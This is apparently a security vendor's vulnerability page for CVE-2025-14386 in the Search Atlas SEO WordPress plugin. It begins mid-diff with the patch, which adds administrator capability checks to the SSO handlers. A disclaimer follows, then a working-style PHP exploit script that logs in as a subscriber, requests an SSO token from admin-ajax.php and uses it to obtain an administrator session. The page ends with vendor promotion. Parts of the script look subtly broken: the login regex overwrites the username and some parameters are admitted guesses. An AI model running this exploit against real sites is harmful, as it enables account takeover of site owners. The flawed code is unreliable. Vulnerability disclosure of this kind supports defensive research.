                 $value = $value ? 'true' : 'false';
-
-                $this->config_file_manager->update('constant', $key, $value, self::$configArgs);
+
+                $this->configFileManager->update('constant', $key, $value, self::$configArgs);
                 $updatedConstants[] = $constant;
             }
-
         } catch (Exception $e) {
             error_log('MetaSync: Error updating wp-config.php - ' . $e->getMessage());
             wp_send_json_error([
@@ -536,37 +579,34 @@
             ]);
         }
     }
-
+
     public function exists($constant)
     {
-        return $this->config_file_manager->exists('constant', strtoupper($constant));
+        return $this->configFileManager->exists('constant', strtoupper($constant));
     }
-
+
     public function getValue($constant)
     {
         if ($this->exists(strtoupper($constant))) {
-
-            return $this->config_file_manager->get_value('constant', strtoupper($constant));
+            return $this->configFileManager->getValue('constant', strtoupper($constant));
         }
         return null;
     }
-
-
+
     public function update($key, $value)
     {
-        try{
-            //By default, when attempting to update a config that doesn't exist, one will be added.
+        try {
+            // By default, when attempting to update a config that doesn't exist, one will be added.
             $option = self::$configArgs;
             if (is_bool($value)) {
                 $value = $value ? 'true' : 'false';
             }
-            return $this->config_file_manager->update('constant', strtoupper($key), $value, $option);
-        } catch (Exception $e){
-
+            return $this->configFileManager->update('constant', strtoupper($key), $value, $option);
+        } catch (Exception $e) {
+            return false;
         }
-
     }
-
+
     public function getConfigFilePath()
     {
         $file = ABSPATH . 'wp-config.php';
@@ -577,21 +617,20 @@
         }
         return apply_filters('wp_dlct_config_file_manager_path', $file);
     }
-
+
     /**
-     * remove deleted constant from config
-     * @param $constants
+     * Remove deleted constant from config
+     *
+     * @param array $constants Array of constants.
+     *
+     * @return void
      */
     protected function maybeRemoveDeletedConstants($constants)
     {
-        $previousSavedData = [];
         $deletedConstant = array_diff(array_column($constants, 'name'), array_column($constants, 'name'));
-		//die(json_encode($constants));
+
         foreach ($deletedConstant as $item) {
-            $this->config_file_manager->remove('constant', strtoupper($item));
+            $this->configFileManager->remove('constant', strtoupper($item));
         }
     }
-
 }
-
-
--- a/metasync/admin/class-metasync-admin.php
+++ b/metasync/admin/class-metasync-admin.php
@@ -35,6 +35,7 @@
     const SECTION_COMMON_META_SETTINGS  = "common_meta_settings";
     const SECTION_SOCIAL_META           = "social_meta";
     const SECTION_SEO_CONTROLS          = "seo_controls";
+    const SECTION_SEO_CONTROLS_ADVANCED = "seo_controls_advanced";
     const SECTION_PLUGIN_VISIBILITY     = "plugin_visibility_settings";

     /**
@@ -169,6 +170,7 @@
         }

         add_action('admin_menu', array($this, 'add_plugin_settings_page'));
+        add_action('admin_menu', array($this, 'add_import_external_data_page'));
         add_action('admin_init', array($this, 'settings_page_init'));
         add_filter('all_plugins',  array($this,'metasync_plugin_white_label'));
         add_filter( 'plugin_row_meta',array($this,'metasync_view_detials_url'),10,3);
@@ -235,6 +237,12 @@

         # Add AJAX handler for theme switcher
         add_action('wp_ajax_metasync_save_theme', array($this, 'ajax_save_theme'));
+
+        # Add AJAX handler for external data import
+        add_action('wp_ajax_metasync_import_external_data', array($this, 'ajax_import_external_data'));
+
+        # Add admin-post handler for exporting whitelabel settings (file download)
+        add_action('admin_post_metasync_export_whitelabel_settings', array($this, 'handle_export_whitelabel_settings'));

         // Add REST API endpoint for ping
         add_action('rest_api_init', array($this, 'register_ping_rest_endpoint'));
@@ -728,10 +736,16 @@
         $searchatlas_api_key = isset($general_settings['searchatlas_api_key']) ? $general_settings['searchatlas_api_key'] : '';
         $otto_pixel_uuid = isset($general_settings['otto_pixel_uuid']) ? $general_settings['otto_pixel_uuid'] : '';

+        // Only generate SSO nonce for administrators to prevent unauthorized access
+        $sso_nonce = '';
+        if (current_user_can('manage_options')) {
+            $sso_nonce = wp_create_nonce('metasync_sso_nonce');
+        }
+
         wp_localize_script( $this->plugin_name, 'metaSync', array(
             'ajax_url' => admin_url( 'admin-ajax.php' ),
 			'admin_url'=>admin_url('admin.php'),
-			'sso_nonce' => wp_create_nonce('metasync_sso_nonce'),
+			'sso_nonce' => $sso_nonce,
 			'reset_auth_nonce' => wp_create_nonce('metasync_reset_auth_nonce'),
 			'dashboard_domain' => self::get_effective_dashboard_domain(),
 			'support_email' => Metasync::SUPPORT_EMAIL,
@@ -820,6 +834,79 @@
     }

     /**
+     * Add Import External Data page
+     */
+    public function add_import_external_data_page()
+    {
+        add_submenu_page(
+            null, // Hidden from menu, linked from other pages
+            'Import External Data',
+            'Import External Data',
+            'manage_options',
+            'metasync-import-external',
+            array($this, 'render_import_external_data_page')
+        );
+    }
+
+    /**
+     * Render Import External Data page
+     */
+    public function render_import_external_data_page()
+    {
+        require_once plugin_dir_path(dirname(__FILE__)) . 'includes/class-metasync-external-importer.php';
+        require_once plugin_dir_path(dirname(__FILE__)) . 'views/metasync-import-external-data.php';
+    }
+
+    /**
+     * AJAX handler for external data import
+     */
+    public function ajax_import_external_data()
+    {
+        check_ajax_referer('metasync_import_external_data', 'nonce');
+
+        if (!current_user_can('manage_options')) {
+            wp_send_json_error(['message' => 'Insufficient permissions.']);
+        }
+
+        $type = isset($_POST['type']) ? sanitize_text_field($_POST['type']) : '';
+        $plugin = isset($_POST['plugin']) ? sanitize_text_field($_POST['plugin']) : '';
+
+        if (empty($type) || empty($plugin)) {
+            wp_send_json_error(['message' => 'Missing required parameters.']);
+        }
+
+        require_once plugin_dir_path(dirname(__FILE__)) . 'includes/class-metasync-external-importer.php';
+
+        // Pass DB redirection resource if needed
+        $importer = new Metasync_External_Importer($this->db_redirection);
+        $result = ['success' => false, 'message' => 'Unknown import type.'];
+
+        switch ($type) {
+            case 'redirections':
+                $result = $importer->import_redirections($plugin);
+                break;
+            case 'sitemap':
+                $result = $importer->import_sitemap($plugin);
+                break;
+            case 'robots':
+                $result = $importer->import_robots($plugin);
+                break;
+            case 'indexation':
+                $result = $importer->import_indexation($plugin);
+                break;
+            case 'schema':
+                $result = $importer->import_schema($plugin);
+                break;
+        }
+
+        if ($result['success']) {
+            wp_send_json_success($result);
+        } else {
+            wp_send_json_error($result);
+        }
+    }
+
+    /**
      * Conditional SSO Validation wrapper
      * Only performs SSO validation when there's actually a token in the request
      */
@@ -1041,7 +1128,11 @@
      */
     public function generate_sso_url()
     {
-
+        // Check user capabilities - only administrators should be able to generate SSO URLs
+        if (!current_user_can('manage_options')) {
+            wp_send_json_error(array('message' => 'Insufficient permissions. Administrator access required.'));
+            return;
+        }

         // Verify nonce for security
         if (!wp_verify_nonce($_POST['nonce'], 'metasync_sso_nonce')) {
@@ -1099,6 +1190,12 @@
      */
     public function check_sso_status()
     {
+        // Check user capabilities - only administrators should be able to check SSO status
+        if (!current_user_can('manage_options')) {
+            wp_send_json_error(array('message' => 'Insufficient permissions. Administrator access required.'));
+            return;
+        }
+
         // Verify nonce for security
         if (!wp_verify_nonce($_POST['nonce'], 'metasync_sso_nonce')) {
             wp_send_json_error(array('message' => 'Invalid nonce'));
@@ -1544,7 +1641,7 @@
         // Check if OTTO transient cache class exists
         if (!class_exists('Metasync_Otto_Transient_Cache')) {
             echo '<div class="notice notice-error inline"><p>';
-            echo '❌ <strong>Error:</strong> OTTO Transient Cache class not found.';
+            echo '❌ <strong>Error:</strong> Transient Cache class not found.';
             echo '</p></div>';
             return;
         }
@@ -1554,13 +1651,13 @@

         ?>
         <div style="margin-bottom: 30px;">
-            <h3>🗄️ OTTO Transient Cache</h3>
-            <p style="margin-bottom: 15px; color: #666;">
-                Manage OTTO suggestions cache. Clearing cache will force fresh API calls on next page load.
+            <h3 style="color: #1d2327;">🗄️ Transient Cache</h3>
+            <p style="margin-bottom: 15px; color: #50575e;">
+                Manage suggestions cache. Clearing cache will force fresh API calls on next page load.
             </p>

             <div style="background: #f0f0f1; padding: 12px; border-radius: 4px; margin-bottom: 20px;">
-                <strong>Current Cache Status:</strong>
+                <strong style="color: #1d2327;">Current Cache Status:</strong>
                 <span style="color: #2271b1;"><?php echo esc_html($cache_count); ?> cached entries</span>
             </div>

@@ -1574,7 +1671,7 @@
                 if (!empty($url)) {
                     echo '✅ <strong>Success!</strong> Cleared cache for URL: <code>' . esc_html($url) . '</code> (' . $cleared_count . ' entries)';
                 } else {
-                    echo '✅ <strong>Success!</strong> Cleared entire OTTO transient cache (' . $cleared_count . ' entries)';
+                    echo '✅ <strong>Success!</strong> Cleared entire transient cache (' . $cleared_count . ' entries)';
                 }
                 echo '</p></div>';
             }
@@ -1589,12 +1686,12 @@

             <!-- Clear Entire Cache -->
             <div style="margin-bottom: 30px; padding: 20px; border: 1px solid #ddd; border-radius: 4px; background: #fff;">
-                <h4 style="margin-top: 0;">1. Clear Entire Transient Cache</h4>
-                <p style="color: #666; margin-bottom: 15px;">
-                    This will clear all OTTO transient cache entries (suggestions, locks, stale cache, rate limits).
+                <h4 style="margin-top: 0; color: #1d2327;">1. Clear Entire Transient Cache</h4>
+                <p style="color: #50575e; margin-bottom: 15px;">
+                    This will clear all transient cache entries (suggestions, locks, stale cache, rate limits).
                 </p>
                 <form method="post" action="<?php echo esc_url(admin_url('admin.php?page=' . self::$page_slug . '&tab=advanced')); ?>"
-                      onsubmit="return confirm('Are you sure you want to clear the entire OTTO transient cache? This will force fresh API calls for all URLs.');">
+                      onsubmit="return confirm('Are you sure you want to clear the entire transient cache? This will force fresh API calls for all URLs.');">
                     <input type="hidden" name="clear_otto_transient_cache_all" value="yes" />
                     <?php wp_nonce_field('metasync_clear_otto_cache_nonce', 'clear_otto_cache_nonce'); ?>
                     <?php submit_button('🗑️ Clear Entire Cache', 'primary', 'clear-otto-cache-all', false, array('class' => 'button button-primary')); ?>
@@ -1603,17 +1700,17 @@

             <!-- Clear Cache by URL -->
             <div style="padding: 20px; border: 1px solid #ddd; border-radius: 4px; background: #fff;">
-                <h4 style="margin-top: 0;">2. Clear Cache by URL</h4>
-                <p style="color: #666; margin-bottom: 15px;">
-                    Enter a specific URL to clear its cached OTTO suggestions. Use the full URL including protocol (e.g., https://example.com/page/).
+                <h4 style="margin-top: 0; color: #1d2327;">2. Clear Cache by URL</h4>
+                <p style="color: #50575e; margin-bottom: 15px;">
+                    Enter a specific URL to clear its cached suggestions. Use the full URL including protocol (e.g., https://example.com/page/).
                 </p>
                 <form method="post" action="<?php echo esc_url(admin_url('admin.php?page=' . self::$page_slug . '&tab=advanced')); ?>">
                     <input type="hidden" name="clear_otto_transient_cache_url" value="yes" />
                     <?php wp_nonce_field('metasync_clear_otto_cache_nonce', 'clear_otto_cache_nonce'); ?>
                     <table class="form-table">
                         <tr>
-                            <th scope="row">
-                                <label for="otto_cache_url">URL to Clear</label>
+                            <th scope="row" style="color: #1d2327;">
+                                <label for="otto_cache_url" style="color: #1d2327;">URL to Clear</label>
                             </th>
                             <td>
                                 <input type="url"
@@ -1623,7 +1720,7 @@
                                        class="regular-text"
                                        placeholder="https://example.com/page/"
                                        required />
-                                <p class="description">Enter the full URL of the page whose cache you want to clear.</p>
+                                <p class="description" style="color: #646970;">Enter the full URL of the page whose cache you want to clear.</p>
                             </td>
                         </tr>
                     </table>
@@ -1830,7 +1927,7 @@
                         exit;
                     }
                 } else {
-                    wp_redirect(admin_url('admin.php?page=' . self::$page_slug . '&tab=advanced&otto_cache_error=1&message=' . urlencode('OTTO Transient Cache class not found')));
+                    wp_redirect(admin_url('admin.php?page=' . self::$page_slug . '&tab=advanced&otto_cache_error=1&message=' . urlencode('Transient Cache class not found')));
                     exit;
                 }
             } else {
@@ -1892,7 +1989,7 @@
                         exit;
                     }
                 } else {
-                    wp_redirect(admin_url('admin.php?page=' . self::$page_slug . '&tab=advanced&otto_cache_error=1&message=' . urlencode('OTTO Transient Cache class not found')));
+                    wp_redirect(admin_url('admin.php?page=' . self::$page_slug . '&tab=advanced&otto_cache_error=1&message=' . urlencode('Transient Cache class not found')));
                     exit;
                 }
             } else {
@@ -4266,19 +4363,20 @@
             // Check if password protection is needed
             $password_protection_enabled = !empty($user_password);

-            // Check validation status from session (session was started earlier in admin_init)
-            $password_validated = isset($_SESSION['whitelabel_access_granted']) && $_SESSION['whitelabel_access_granted'] === true;
+            // Check validation status using Auth Manager
+            $auth = new Metasync_Auth_Manager('whitelabel', 1800);
+            $password_validated = $auth->has_access();

-            // Set error message based on session status
+            // Set error message based on authentication status
             if (isset($_POST['whitelabel_password_submit']) && !$password_validated) {
-                if (isset($_SESSION['whitelabel_access_granted']) && $_SESSION['whitelabel_access_granted'] === false) {
-                    $password_error = 'Incorrect password. Please try again.';
-                } else {
-                    $password_error = 'Security verification failed. Please try again.';
-                }
+                $password_error = 'Incorrect password. Please try again.';
             }
         }

+        // Helper variable for displaying authenticated UI elements (lock buttons, success messages)
+        // This replaces all $_SESSION['whitelabel_access_granted'] checks throughout the page
+        $is_authenticated = $password_validated;
+
         # Use whitelabel OTTO name if configured, fallback to 'OTTO'
         $whitelabel_otto_name = Metasync::get_whitelabel_otto_name();

@@ -4407,14 +4505,14 @@
                                 <h2 style="margin: 0;">🔧 General Configuration</h2>
                                 <p style="color: var(--dashboard-text-secondary); margin: 5px 0 0 0;">Configure your <?php echo esc_html(Metasync::get_effective_plugin_name()); ?> API, plugin features, caching, and general settings.</p>
                             </div>
-                            <?php if ($hide_settings_enabled && !empty($user_password) && isset($_SESSION['whitelabel_access_granted']) && $_SESSION['whitelabel_access_granted'] === true): ?>
+                            <?php if ($hide_settings_enabled && !empty($user_password) && $is_authenticated): ?>
                             <div>
                                 <?php $this->render_lock_button('general'); ?>
                             </div>
                             <?php endif; ?>
                         </div>

-                        <?php if ($hide_settings_enabled && !empty($user_password) && isset($_SESSION['whitelabel_access_granted']) && $_SESSION['whitelabel_access_granted'] === true): ?>
+                        <?php if ($hide_settings_enabled && !empty($user_password) && $is_authenticated): ?>
                         <div style="background: #d4edda; border: 1px solid #c3e6cb; color: #155724; padding: 12px; border-radius: 4px; margin-bottom: 20px;">
                             <strong>✅ Access Granted:</strong> You have successfully authenticated and can now modify settings.
                         </div>
@@ -4447,14 +4545,14 @@
                                 <h2>🎨 White Label Branding</h2>
                                 <p style="color: var(--dashboard-text-secondary); margin: 5px 0 0 0;">Customize the plugin appearance with your own branding and logo.</p>
                             </div>
-                            <?php if ($password_protection_enabled && isset($_SESSION['whitelabel_access_granted']) && $_SESSION['whitelabel_access_granted'] === true): ?>
+                            <?php if ($password_protection_enabled && $is_authenticated): ?>
                             <div>
                                 <?php $this->render_lock_button('whitelabel'); ?>
                             </div>
                             <?php endif; ?>
                         </div>

-                        <?php if ($password_protection_enabled && isset($_SESSION['whitelabel_access_granted']) && $_SESSION['whitelabel_access_granted'] === true): ?>
+                        <?php if ($password_protection_enabled && $is_authenticated): ?>
                         <div style="background: #d4edda; border: 1px solid #c3e6cb; color: #155724; padding: 12px; border-radius: 4px; margin-bottom: 20px; display: flex; justify-content: space-between; align-items: center;">
                             <div>
                                 <strong>✅ Access Granted:</strong> You have successfully authenticated and can now modify white label settings.
@@ -4469,6 +4567,16 @@
                         ?>
                     </div>

+                    <!-- Export Whitelabel Settings section -->
+                    <div class="dashboard-card">
+                        <h2>📦 Export Whitelabel Plugin</h2>
+                        <p style="color: var(--dashboard-text-secondary); margin-bottom: 20px;">Export the entire plugin with all whitelabel settings pre-configured. This creates a complete plugin zip file ready for installation on another WordPress site.</p>
+                        <button type="button" class="button button-primary" id="metasync-export-whitelabel-btn" style="padding: 10px 20px; font-size: 14px; font-weight: 600;">
+                            📥 Export Plugin with Whitelabel Settings
+                        </button>
+                        <p class="description" style="margin-top: 10px;">This will create a zip file containing the complete plugin with all your whitelabel settings included. Upload and install this zip file on another WordPress site via Plugins → Add New → Upload Plugin. All whitelabel configurations will be automatically applied upon activation.</p>
+                    </div>
+
                     <!-- Plugin Settings section as separate card -->
                     <div class="dashboard-card">
                         <h2>🔧 Plugin Settings</h2>
@@ -4668,6 +4776,46 @@
                                 $('#metasync-custom-modal').fadeOut(200);
                             }
                         });
+
+                        // Handle export whitelabel settings button
+                        $('#metasync-export-whitelabel-btn').on('click', function(e) {
+                            e.preventDefault();
+
+                            var $button = $(this);
+                            var originalText = $button.html();
+
+                            // Disable button and show loading state
+                            $button.prop('disabled', true).html('⏳ Exporting...');
+
+                            // Create a form to submit the export request
+                            var form = $('<form>', {
+                                'method': 'POST',
+                                'action': '<?php echo esc_js(admin_url('admin-post.php')); ?>',
+                                'target': '_blank'
+                            });
+
+                            form.append($('<input>', {
+                                'type': 'hidden',
+                                'name': 'action',
+                                'value': 'metasync_export_whitelabel_settings'
+                            }));
+
+                            form.append($('<input>', {
+                                'type': 'hidden',
+                                'name': '_wpnonce',
+                                'value': '<?php echo wp_create_nonce('metasync_export_whitelabel'); ?>'
+                            }));
+
+                            // Append form to body, submit, then remove
+                            $('body').append(form);
+                            form.submit();
+
+                            // Remove form after a short delay
+                            setTimeout(function() {
+                                form.remove();
+                                $button.prop('disabled', false).html(originalText);
+                            }, 2000);
+                        });
                     });
                     </script>
                 <?php
@@ -4680,13 +4828,13 @@
                                 <h2 style="margin: 0;">🧰 Advanced Settings</h2>
                                 <p style="color: var(--dashboard-text-secondary); margin: 6px 0 0 0;">Technical utilities for troubleshooting and connectivity checks.</p>
                             </div>
-                            <?php if ($hide_settings_enabled && !empty($user_password) && isset($_SESSION['whitelabel_access_granted']) && $_SESSION['whitelabel_access_granted'] === true): ?>
+                            <?php if ($hide_settings_enabled && !empty($user_password) && $is_authenticated): ?>
                             <div>
                                 <?php $this->render_lock_button('advanced'); ?>
                             </div>
                             <?php endif; ?>
                         </div>
-                        <?php if ($hide_settings_enabled && !empty($user_password) && isset($_SESSION['whitelabel_access_granted']) && $_SESSION['whitelabel_access_granted'] === true): ?>
+                        <?php if ($hide_settings_enabled && !empty($user_password) && $is_authenticated): ?>
                         <div style="background: #d4edda; border: 1px solid #c3e6cb; color: #155724; padding: 12px; border-radius: 4px; margin-top: 16px;">
                             <strong>✅ Access Granted:</strong> You can access advanced settings.
                         </div>
@@ -4707,8 +4855,8 @@
                             <summary style="cursor:pointer; list-style:none;">
                                 <div style="display:flex; justify-content: space-between; align-items:center;">
                                     <div style="flex:1;">
-                                        <h2 style="margin: 0;">🗄️ OTTO Transient Cache Management</h2>
-                                        <p style="color: var(--dashboard-text-secondary); margin: 6px 0 0 0;">Clear OTTO suggestions cache to force fresh API calls.</p>
+                                        <h2 style="margin: 0;">🗄️ Transient Cache Management</h2>
+                                        <p style="color: var(--dashboard-text-secondary); margin: 6px 0 0 0;">Clear suggestions cache to force fresh API calls.</p>
                                     </div>
                                 </div>
                             </summary>
@@ -5383,7 +5531,7 @@

         // Get whitelabel logo from the centralized whitelabel settings
         $whitelabel_logo = Metasync::get_whitelabel_logo();
-        $is_whitelabel = $whitelabel_settings['is_whitelabel'];
+        $is_whitelabel = isset($whitelabel_settings['is_whitelabel']) ? $whitelabel_settings['is_whitelabel'] : false;

         // Get the display title - use effective plugin name if no page title provided
         $effective_plugin_name = Metasync::get_effective_plugin_name();
@@ -5499,7 +5647,7 @@
        # new field added hide_dashboard_framework
        # new fields added for disabling meta boxes on post/page edit screens

-       $bool_fields = ['enable_schema', 'enable_metadesc', 'otto_enable', 'otto_disable_on_loggedin', 'disable_single_signup_login', 'hide_dashboard_framework', 'show_admin_bar_status', 'enable_auto_updates', 'di

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14386 - Search Atlas SEO – Premier SEO Plugin for One-Click WP Publishing & Integrated AI Optimization 2.4.4 - 2.5.12 - Missing Authorization to Authenticated (Subscriber+) Authentication Bypass via Account Takeover

<?php
/**
 * Proof of Concept for CVE-2025-14386
 * This script demonstrates the authentication bypass vulnerability in Search Atlas SEO plugin
 * Requires: Valid WordPress subscriber credentials
 * Target: WordPress sites with Search Atlas SEO plugin v2.4.4 - v2.5.12
 */

// Configuration
$target_url = 'https://vulnerable-site.com'; // Change this to target WordPress site
$username = 'subscriber_user'; // Valid subscriber username
$password = 'subscriber_pass'; // Valid subscriber password

// Step 1: Authenticate as subscriber to get WordPress cookies
function authenticate_subscriber($url, $user, $pass) {
    $login_url = $url . '/wp-login.php';
    
    // Get login page to extract nonce
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $login_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
    $response = curl_exec($ch);
    
    // Extract login nonce (WordPress 5.0+)
    preg_match('/name="log" value="([^"]+)"/', $response, $matches);
    $login_nonce = $matches[1] ?? '';
    
    // Prepare login POST data
    $post_data = [
        'log' => $user,
        'pwd' => $pass,
        'wp-submit' => 'Log In',
        'redirect_to' => $url . '/wp-admin/',
        'testcookie' => '1'
    ];
    
    if ($login_nonce) {
        $post_data['log'] = $login_nonce;
    }
    
    // Perform login
    curl_setopt($ch, CURLOPT_URL, $login_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return $http_code === 200 && strpos($response, 'Dashboard') !== false;
}

// Step 2: Exploit vulnerable AJAX endpoint to get admin nonce token
function exploit_sso_generation($url) {
    $ajax_url = $url . '/wp-admin/admin-ajax.php';
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $ajax_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, [
        'action' => 'generate_sso_url',
        // Additional parameters may be required based on plugin implementation
        // These would be discovered through reverse engineering
    ]);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
    curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code === 200) {
        // Parse response to extract nonce_token
        $data = json_decode($response, true);
        return $data['nonce_token'] ?? $data['token'] ?? null;
    }
    
    return null;
}

// Step 3: Validate token and get admin session
function validate_sso_token($url, $token) {
    $ajax_url = $url . '/wp-admin/admin-ajax.php';
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $ajax_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, [
        'action' => 'validate_sso_token',
        'nonce_token' => $token
    ]);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
    curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    
    $response = curl_exec($ch);
    curl_close($ch);
    
    return $response;
}

// Main execution
if (authenticate_subscriber($target_url, $username, $password)) {
    echo "[+] Successfully authenticated as subscribern";
    
    $admin_token = exploit_sso_generation($target_url);
    
    if ($admin_token) {
        echo "[+] Obtained admin nonce_token: " . substr($admin_token, 0, 20) . "...n";
        
        $admin_response = validate_sso_token($target_url, $admin_token);
        echo "[+] Admin session response: " . substr($admin_response, 0, 100) . "...n";
        
        echo "[!] Exploit successful. Check cookies.txt for admin session cookies.n";
    } else {
        echo "[-] Failed to obtain admin tokenn";
    }
} else {
    echo "[-] Failed to authenticate as subscribern";
}

// Cleanup
if (file_exists('cookies.txt')) {
    unlink('cookies.txt');
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School